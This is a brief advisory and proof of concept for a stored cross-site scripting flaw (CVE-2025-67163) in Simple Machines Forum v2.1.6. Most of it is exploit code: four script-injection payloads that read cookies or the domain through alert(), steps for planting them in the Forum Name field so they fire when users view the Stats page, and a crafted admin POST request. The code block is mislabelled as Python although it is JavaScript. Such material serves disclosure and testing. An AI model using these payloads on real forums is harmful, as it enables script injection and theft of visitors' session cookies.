A stored cross-site scripting (XSS) vulnerability in Simple Machines Forum v2.1.6 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Forum Name parameter.
The following code is for security research and authorized testing only.
python
// CVE-2025-67163 Stored XSS PoC for Simple Machines Forum v2.1.6
// Payload: Inject malicious script in Forum Name parameter
// Method 1: Using script tag
const xssPayload1 = '<script>alert(document.cookie)</script>';
// Method 2: Using img onerror event
const xssPayload2 = '<img src=x onerror=alert(document.domain)>';
// Method 3: Using SVG element
const xssPayload3 = '<svg onload=alert(document.cookie)>';
// Method 4: Using body onload event
const xssPayload4 = '<body onload=alert(String.fromCharCode(88,83,83))>';
// Exploitation steps:
// 1. Set Forum Name to one of the payloads above via admin panel or API
// 2. Wait for any user to visit the Stats page
// 3. The script will execute in the victim's browser context
// Example POST request to set Forum Name:
const exploitRequest = {
method: 'POST',
url: '/forum/index.php?action=admin;area=general;sa=forum',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'forum_name=' + encodeURIComponent(xssPayload2)
};